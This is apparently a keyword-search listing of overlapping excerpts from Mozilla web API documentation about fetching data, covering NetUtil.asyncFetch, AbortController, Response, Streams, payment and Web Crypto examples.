... method opens an input source, asynchronously, and gives an nsiinputstream containing the data obtained to the callback provided. the callback may then consume data from the input stream passed to the callback. note: prior to gecko 2, the input source was required to be specified as an nsichannel. note: support for specifying an nsiinputstream as the input source was added in gecko 5. asyncfetch( asource, acallback ); parameters asource the source to open asynchronously. this may be specified as an nsiuri, nsifile, nsichannel, nsiinputstream or as a string specifying the url to open. acallback a function that will be called when the open operation is completed. the callback receives three parameters: the input stream containing the data, if any (implementing nsiinputstream), ...
...ntaining the data, if any (implementing nsiinputstream), an nsresult status code for the open operation, and a reference to the nsirequest object. exceptions thrown this method throws an exception with the message "must have a source and a callback" if either asource or acallback is null. example this example shows the basic code consumers would need to implement to be correct. netutil.asyncfetch(channel, function(ainputstream, aresult) { // check that we had success. if (!components.issuccesscode(aresult)) { // handle error return; } // consume the input stream. }); remarks note: if you specify an nsichannel as the input source, and its notification callbacks have already been set, callers are responsible for implementing nsibadcertlistener and nsisslerrorlistener. ne...
Index
of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills. you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup. ...
...it does so in a blocking fashion, and also directly to the responder, ignoring any proxy the application may wish to use. this causes ocsp requests to fail if the network environment requires the use of a proxy. ...
...curity database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trust...
...test flags sets revocation flags for the test type it follows. possible flags: "testlocalinfofirst" and "requirefreshinfo". -m method type sets method type for the test type it follows. possible types are "crl" and "ocsp". -s method flags sets revocation flags for the method it follows. possible types are "donotuse", "forbidfetching", "ignoredefaultsrc", "requireinfo" and "failifnoinfo". additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/. the nss site relates directly to nss code changes and releases. mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto ...
Feed content access API
to parse an rss or atom feed to receive messages during the parsing process. nsifeedresult describes the result of parsing a feed. nsifeedresultlistener implemented by the program that wants to parse an rss or atom feed to receive notification when parsing is complete. ...
... fetch the text as plain text or html. nsiscriptableunescapehtml a utility class that unescapes html strings. example: reading a feed from the web it's actually quite easy to read and parse a feed. use an xmlhttprequest to load the feed, then pass its string to an nsifeedprocessor to parse the feed. ...
...c.write("</body></html>"); doc.close(); } } the handleresult() function receives as its argument an nsifeedresult that describes a feed; its doc property is an nsifeed that contains all the feed data. to get the title of the feed, you look at the feed.title property. the title is an nsifeedtextconstruct that can represent the text in various formats; we get its text property to fetch the feed's title as html-encoded text. we could, alternatively, use its plaintext() method to get a copy of the title translated into plain text. we then scan the array of items in the feed by looking at the feed.items nsiarray. this array contains nsifeedentry objects that describe each feed item. we build the contents of the document by looking at the title, link, summary, and content propertie...
...of the title translated into plain text. we then scan the array of items in the feed by looking at the feed.items nsiarray. this array contains nsifeedentry objects that describe each feed item. we build the contents of the document by looking at the title, link, summary, and content properties for each item. the full url of the link is retrieved using the link's resolve() method. to initialize a fetch of the feed, we simply call fetch(url). this opens a new window containing the feed contents, with each item's title a clickable link that takes you to the article itself. for details on each of the feed access interfaces, visit their respective reference pages. ...
Using the Places keywords API
keyword: "my_keyword", url: "http://www.example.com/" postdata: "post+data=1&test=2" }).then(() => { /* success */ }, e => { /* failure */ }); note that setting an already existing keyword to a different url, will silently update the existing keyword to the new url. fetching an entry by keyword the fetch() method acceps a keyword string (or an object having a keywords property) and might resolve to a keyword entry with the following properties: keyword: string representing the keyword url: the url represeted by the keyword postdata: optional post data string. not defined if there's no post data. if no keyword exists, will resolve to null. placesutils.keyw...
...n entry by keyword the fetch() method acceps a keyword string (or an object having a keywords property) and might resolve to a keyword entry with the following properties: keyword: string representing the keyword url: the url represeted by the keyword postdata: optional post data string. not defined if there's no post data. if no keyword exists, will resolve to null. placesutils.keywords.fetch("my_keyword").then(entry => { /* entry is either null, or a keyword entry */ }, e => { /* failure */}); fetching entries by url the fetch() method also accepts a keyword entry, where it's possible to specify keyword, url, or both. if both are specified it will try to fetch an exact match. ...
... placesutils.keywords.fetch("my_keyword").then(entry => { /* entry is either null, or a keyword entry */ }, e => { /* failure */}); fetching entries by url the fetch() method also accepts a keyword entry, where it's possible to specify keyword, url, or both. if both are specified it will try to fetch an exact match. specifying only an url, will fetch all the keywords associated to such an url. note that fetch() always resolves to a single entry, to fetch all of the entries it's necessary to provide a callback function. ...
... by url the fetch() method also accepts a keyword entry, where it's possible to specify keyword, url, or both. if both are specified it will try to fetch an exact match. specifying only an url, will fetch all the keywords associated to such an url. note that fetch() always resolves to a single entry, to fetch all of the entries it's necessary to provide a callback function. placesutils.keywords.fetch({ url: "http://www.example.com/" }, entry => { /* invoked for each found keyword entry */ }) .then(oneentry => { /* oneentry is either null, or one of the keyword entries */ }, e => { /* failure */}); removing a keyword the remove() method accepts a keyword string. placesutils.keywords.remove("my_keyword").then(() ...
AbortController - Web APIs
cating with a dom request is done using an abortsignal object. constructor abortcontroller() creates a new abortcontroller object instance. properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request. methods abortcontroller.abort() aborts a dom request before it has completed. ...
...tance. properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request. methods abortcontroller.abort() aborts a dom request before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. examples in the following snippet, we aim to download a video using the fetch api. ...
...aborts a dom request before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.querys...
...l}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with a domexception named aborterror. you ...
AbortSignal - Web APIs
properties the abortsignal interface also inherits properties from its parent interface, eventtarget. abortsignal.aborted read only a boolean that indicates whether the request(s) the signal is communicating with is/are aborted (true) or not (false). events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface. abort invoked when the dom request(s) the signal is communicating with is/are aborted. ...
...ddeventlistener() or by assigning an event listener to the oneventname property of this interface. abort invoked when the dom request(s) the signal is communicating with is/are aborted. also available via the onabort property. methods the abortsignal interface inherits methods from its parent interface, eventtarget. ...
...o available via the onabort property. methods the abortsignal interface inherits methods from its parent interface, eventtarget. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.querys...
...l}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. current version of fi...
Body.arrayBuffer() - Web APIs
Web › API › Body › arrayBuffer
the arraybuffer() method of the body mixin takes a response stream and reads it to completion. it returns a promise that resolves with an arraybuffer. syntax response.arraybuffer().then(function(buffer) { // do something with buffer }); parameters none. return value a promise that resolves with an arraybuffer. examples playing music in our fetch array buffer live, we have a play button. when pressed, the getdata() function is run. note that before playing full audio file will be downloaded. if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track. we also use audiocontext.createbuffersource to create an audio buffe...
...ata() function is run. note that before playing full audio file will be downloaded. if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track. we also use audiocontext.createbuffersource to create an audio buffer source. when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination. once getdata() has finished running, we start the audio source playing with start(0), then disable the play button so it can't ...
...'s buffer (source.buffer), then connect the source up to the audiocontext.destination. ...
... living standard ...
Body.body - Web APIs
Web › API › Body › body
the body read-only property of the body mixin is a simple getter used to expose a readablestream of the body contents. syntax var stream = response.body; value a readablestream. example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image. ...
...var stream = response.body; value a readablestream. example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image. ...
...y; value a readablestream. example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image. ...
... living standard ...
Manipulating video using canvas - Web APIs
ntext('2d'); let self = this; this.video.addeventlistener('play', function() { self.width = self.video.videowidth / 2; self.height = self.video.videoheight / 2; self.timercallback(); }, false); }, this code grabs references to the elements in the xhtml document that are of particular interest, namely the video element and the two canvas elements. ...
...lement and the two canvas elements. it also fetches references to the graphics contexts for each of the two canvases. these will be used when we're actually doing the chroma-keying effect. then addeventlistener() is called to begin watching the video element so that we obtain notification when the user presses the play button on the video. in response to the user beginning playback, this code fetches the width and height of the video, halving each (we will be halving the size of the video when we perform the chroma-keying effect), then calls the timercallback() method to start watching the video and computing the visual effect. the timer callback the timer callback is called initially when the video starts playing (when the "play" event occurs), then takes responsibility for establishing ...
...od, which performs the chroma-keying effect on the current video frame. the last thing the callback does is call settimeout() to schedule itself to be called again as soon as possible. in the real world, you would probably schedule this to be done based on knowledge of the video's frame rate. manipulating the video frame data the computeframe() method, shown below, is responsible for actually fetching a frame of data and performing the chroma-keying effect. processor.computeframe = function computeframe() { this.ctx1.drawimage(this.video, 0, 0, this.width, this.height); let frame = this.ctx1.getimagedata(0, 0, this.width, this.height); let l = frame.data.length / 4; for (let i = 0; i < l; i++) { let r = frame.data[i * 4 + 0]; let g = frame.data[i * 4 + 1]; ...
...rame of video data, which looks like this: in line 2, that frame of video is copied into the graphics context ctx1 of the first canvas, specifying as the height and width the values we previously saved to draw the frame at half size. note that you can simply pass the video element into the context's drawimage() method to draw the current video frame into the context. the result is: line 3 fetches a copy of the raw graphics data for the current frame of video by calling the getimagedata() method on the first context. this provides raw 32-bit pixel image data we can then manipulate. line 4 computes the number of pixels in the image by dividing the total size of the frame's image data by four. the for loop that begins on line 6 scans through the frame's pixels, pulling out the red, gree...
PaymentRequest: merchantvalidation event - Web APIs
the payment handler. see merchant validation in payment processing concepts for details on how the merchant validation process works. bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event. it uses the fetch() to send a request to its own server with an argument of the payment method's validation url, obtained from the event's validationurl property. the merchant server should access the validation url in accordance with the payment method documention. typically, a client should not access the validation url. request.addeventlistener("merchantvalidation", event => { event.complete(async () => { ...
...ion url in accordance with the payment method documention. typically, a client should not access the validation url. ...
...this response lets the payment handler know if the merchant is validated. ...
...f the merchant is validated. you can also use the onmerchantvalidation event handler property to set up the handler for this event: request.onmerchantvalidation = event => { event.complete(async () => { const merchantserverurl = window.location.origin + '/validate?url=' + encodeuricomponent(event.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(response => response.text()); }); }; const response = await request.show(); for more information, see merchant validation in payment processing concepts. related events payerdetailchange, paymentmethodchange, shippingaddresschange, and shippingoptionchange specifications specification status comment payment request apithe definition of 'm...
PaymentResponse.complete() - Web APIs
which the payment request is taking place became inactive while the user interface was shown. invalidstateerror the payment has already completed, or complete() was called while a request to retry the payment is pending. you can't treat a payment as complete after requesting that the payment be tried again. ...
.... examples the following example sends payment information to a secure server using the fetch api. it calls complete() with an answer appropriate to the status in the response. // initialization of paymentrequest arguments are excerpted for the // sake of brevity. ...
...// initialization of paymentrequest arguments are excerpted for the // sake of brevity. ...
...request arguments are excerpted for the // sake of brevity. ...
PerformanceTiming - Web APIs
nsigned long long representing the moment, in milliseconds since the unix epoch these properties are listed in the order in which they occur during the navigation process. performancetiming.navigationstart read only when the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetchstart. performancetiming.unloadeventstart read only when the unload event has been thrown, indicating the time at which the previous document in the window began to unload. if there is no previous document, or if the previous document or one of the needed redirects is not of the same origin, the value returned is 0. performancetiming.unloadeventend read only when the unload event handle...
...direct starts. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.redirectend read only when the last http redirect is completed, that is when the last byte of the http response has been received. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.fetchstart read only when the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. performancetiming.domainlookupstart read only when the domain lookup starts. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart. performan...
...kup starts. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart. performancetiming.domainlookupend read only when the domain lookup is finished. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart. performancetiming.connectstart read only when the request to open a connection is sent to the network. if the transport layer reports an error and the connection establishment is started again, the last connection establishment start time is given. if a persistent connection is used, the value will be the same as performancetiming.fetchstart. performancetiming.connectend read only...
...a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated. performancetiming.secureconnectionstart read only when the secure connection handshake starts. if no such connection is requested, it returns 0. ...
ReadableStream.pipeThrough() - Web APIs
ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value the readable side of the transformstream. exceptions typeerror the writable and/or readable property of transformstream are undefined. ...
... examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream. next, we log the contents of the readable stream, use pipethrough() to send it to a new function that creates a gray-scaled version of the stream, then log the new stream's contents too. ...
...wing example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream. next, we log the contents of the readable stream, use pipethrough() to send it to a new function that creates a gray-scaled version of the stream, then log the new stream's contents too. ...
... living standard initial definition. ...
ReadableStream.tee() - Web APIs
the tee() method of the readablestream interface tees the current readable stream, returning a two-element array containing the two resulting branches as new readablestream instances. this is useful for allowing two readers to read a stream simultaneously, perhaps at different speeds. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, you’d need two copies to do this. to cancel the stream you then need to cancel both resulting branches. teeing a stream will generally lock it for the duration, preventing other readers from locking it. syntax var teedstreams = readablestream.tee(); parameters none. return valu...
...examples in the following simple example, a previously-created stream is teed, then both resulting streams (contained in two members of a generated array) are passed to a function that reads the data out of the two streams and prints each stream's chunks sequentially to a different part of the ui. see simple tee example for the full code. ...
...example, a previously-created stream is teed, then both resulting streams (contained in two members of a generated array) are passed to a function that reads the data out of the two streams and prints each stream's chunks sequentially to a different part of the ui. see simple tee example for the full code. function teestream() { const teedoff = stream.tee(); fetchstream(teedoff[0], list2); fetchstream(teedoff[1], list3); } function fetchstream(stream, list) { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value ...
... returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'read ' + charsreceived + ' characters so far. current chunk = ' + chunk; list.appendchild(listitem); // read some more, and call this function again return reader.read().then(processtext); }); } specifications sp...
ReadableStreamDefaultReader.read() - Web APIs
d custom readablestream. it is read using a readablestreamdefaultreader created using getreader(). (see our simple random stream example for the full code). each chunk is read sequentially and output to the ui as an array of utf-8 bytes, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if ...
... // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } ...
...nk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. ...
... reader.read().then(processtext); }); } example 2 - handling text line by line this example shows how you might fetch a text file and handle it as a stream of text lines. it deals with stream chunks not ending on line boundaries and converting from uint8array to strings. ...
Resource Timing API - Web APIs
to load a specific resource, such as an xmlhttprequest, <svg>, image, or script. the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, dns lookup start and end times, request start, response start and end times, etc. the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. this document provides an overview of the resource timing interfaces. for more details about the interfaces including examples see each interface's reference page, using the resource timing api, and the references in the see also section. for a graphical representation of the resource timing processing model see the resource ti...
...r example, due to hardware or software constraints), the browser can represent a the value as a time in milliseconds accurate to a millisecond. resource loading timestamps an application can get timestamps for the various stages used to load a resource. the first property in the processing model is starttime which returns the timestamp immediately before the resource loading process begins. the fetchstart timestamps follows and redirect processing (if applicable) and preceeds dns lookup. the next stages are connectstart and connectend which are the timestamps immediately before and after connecting to the server, respectively. the last three timestamps are, in order: requeststart - the timestamp before the browser starts requesting the resource from the server; responsestart - the timestamp a...
...d properties return timestamps for dns lookup start and end times, respectively. this would be a nice place to have a diagram showing the relationships between these segments of the resource loading time. resource size the performanceresourcetiming interface has three properties that can be used to obtain size data about a resource. the transfersize property returns the size (in octets) of the fetched resource including the response header fields plus the response payload body. the encodedbodysize property returns the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings. decodedbodysize returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings. ot...
... the initiatortype property returns the type of resource that initiated the performance entry such as "css" for a css resource, "xmlhttprequest" for an xmlhttprequest and "img" for an image (such as a jpeg). ...
Response.clone() - Web APIs
Web › API › Response › clone
interface creates a clone of a response object, identical in every way, but stored in a different variable. clone() throws a typeerror if the response body has already been used. in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) syntax var response2 = response1.clone(); parameters none. value a response object. ...
...sponse object, identical in every way, but stored in a different variable. clone() throws a typeerror if the response body has already been used. in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) syntax var response2 = response1.clone(); parameters none. value a response object. example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(). when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements. var image1 = document.q...
...n fetch this request using fetch(). when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements. ...
... living standard initial definition ...
Response.redirected - Web APIs
see the example disallowing redirects, which shows this being done. ...
.... syntax var isredirected = response.redirected; value a boolean which is true if the response indicates that your request was redirected. examples detecting redirects checking to see if the response comes from a redirected request is as simple as checking this flag on the response object. ...
...ting redirects checking to see if the response comes from a redirected request is as simple as checking this flag on the response object. in the code below, a textual message is inserted into an element when a redirect occurred during the fetch operation. note, however, that this isn't as safe as outright rejecting redirects if they're unexpected, as described under disallowing redirects below. ...
....innerhtml = ""; } return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); disallowing redirects because using redirected to manually filter out redirects can allow forgery of redirects, you should instead set the redirect mode to "error" in the init parameter when calling fetch(), like this: fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response) { return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); specifications specification status comment fetchthe definition of 'redirected' in that specification. ...
Response.type - Web APIs
Web › API › Response › type
from a valid cross-origin request. certain headers and the body may be accessed. error: network error. no useful information describing the error is available. the response’s status is 0, headers are empty and immutable. this is the type for a response obtained from response.error(). opaque: response for “no-cors” request to cross-origin resource. severely restricted. ...
...table. this is the type for a response obtained from response.error(). opaque: response for “no-cors” request to cross-origin resource. severely restricted. opaqueredirect: the fetch request was made with redirect: "manual". the response's status is 0, headers are empty, body is null and trailer is empty. note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise. syntax var mytype = response.type; value a responsetype string indicating the type of the response. ...
...cted. opaqueredirect: the fetch request was made with redirect: "manual". the response's status is 0, headers are empty, body is null and trailer is empty. note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise. syntax var mytype = response.type; value a responsetype string indicating the type of the response. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response type to the console. var ...
...quest() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response type to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'type' in that specification. living standard initial definition ...
Streams API - Web APIs
de, without needing to generate a buffer, string, or blob. there are more advantages too — you can detect when streams start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at. the basic usage of streams hinges around making responses available as streams. for example, the response body returned by a successful fetch request can be exposed as a readablestream, and you can then read it using a reader created with readablestream.getreader(), cancel it with readablestream.cancel(), etc. more complicated uses involve creating your own stream using the readablestream() constructor, for example to process data inside a service worker. you can also write data to streams using writablestream. note: you can find a...
...side a service worker. you can also write data to streams using writablestream. note: you can find a lot more details about the theory and practice of streams in our articles — streams api concepts, using readable streams, and using writable streams. stream interfaces readable streams readablestream represents a readable stream of data. it can be used to handle response streams of the fetch api, or developer-defined streams (e.g. a custom readablestream() constructor). readablestreamdefaultreader represents a default reader that can be used to read stream data supplied from a network (e.g. a fetch request). readablestreamdefaultcontroller represents a controller allowing control of a readablestream's state and internal queue. default controllers are for streams that are not byte...
...tegy that can be used when constructing streams. countqueuingstrategy provides a built-in chunk counting queuing strategy that can be used when constructing streams. extensions to other apis request when a new request object is constructed, you can pass it a readablestream in the body property of its requestinit dictionary. this request could then be passed to a windoworworkerglobalscope.fetch() to commence fetching the stream. body the response body returned by a successful fetch request is exposed by default as a readablestream, and can have a reader attached to it, etc. bytestream-related interfaces important: these are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. this ...
...mple shows how to to write to a writable stream, then decode the stream and write the contents to the ui. unpack chunks of a png: this example shows how pipethrough() can be used to transform a readablestream into a stream of other data types by transforming a data of a png file into a stream of png chunks. examples from other developers: progress indicators with streams, service workers, & fetch. specifications specification status comment streams living standard initial definition. ...
SubtleCrypto.encrypt() - Web APIs
ode, as specified in nist sp800-38a. aes-gcm this represents aes in galois/counter mode, as specified in nist sp800-38d. one major difference between this mode and the others is that gcm is an "authenticated" mode, which means that it includes checks that the ciphertext has not been modified by an attacker. examples note: you can try the working examples out on github. rsa-oaep this code fetches the contents of a text box, encodes it for encryption, and encrypts it with using rsa-oaep. see the complete code on github. function getmessageencoding() { const messagebox = document.queryselector(".rsa-oaep #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(publickey) { let encoded = getmessageencoding();...
...see the complete code on github. function getmessageencoding() { const messagebox = document.queryselector(".aes-ctr #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); //...
...see the complete code on github. function getmessageencoding() { const messagebox = document.queryselector(".aes-cbc #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); //...
...see the complete code on github. function getmessageencoding() { const messagebox = document.queryselector(".aes-gcm #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); //...
SubtleCrypto.sign() - Web APIs
Web › API › SubtleCrypto › sign
0). hmac the hmac algorithm calculates and verifies hash-based message authentication codes according to the fips 198-1 standard. the digest algorithm to use is specified in the hmackeygenparams object that you pass into generatekey(), or the hmacimportparams object that you pass into importkey(). examples note: you can try the working examples out on github. rsassa-pkcs1-v1_5 this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textenco...
...form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "rsassa-pkcs1-v1_5", privatekey, encoded ); rsa-pss this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc = new textencoder()...
...the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( { name: "rsa-pss", saltlength: 32, }, privatekey, encoded ); ecdsa this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc = new textencoder(); ...
...sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( { name: "ecdsa", hash: {name: "sha-384"}, }, privatekey, encoded ); hmac this code fetches the contents of a text box, encodes it for signing, and signs it with a secret key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc = new textencoder(); ...
SubtleCrypto.verify() - Web APIs
requested verifying algorithm or when trying to use an algorithm that is either unknown or isn't suitable for a verify operation. supported algorithms the verify() method supports the same algorithms as the sign() method. examples note: you can try the working examples out on github. rsassa-pkcs1-v1_5 this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, ...
... .signature-value"); signaturevalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( "rsassa-pkcs1-v1_5", publickey, signature, encoded ); signaturevalue.classlist.add(result ? "valid" : "invalid"); } rsa-pss this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set t...
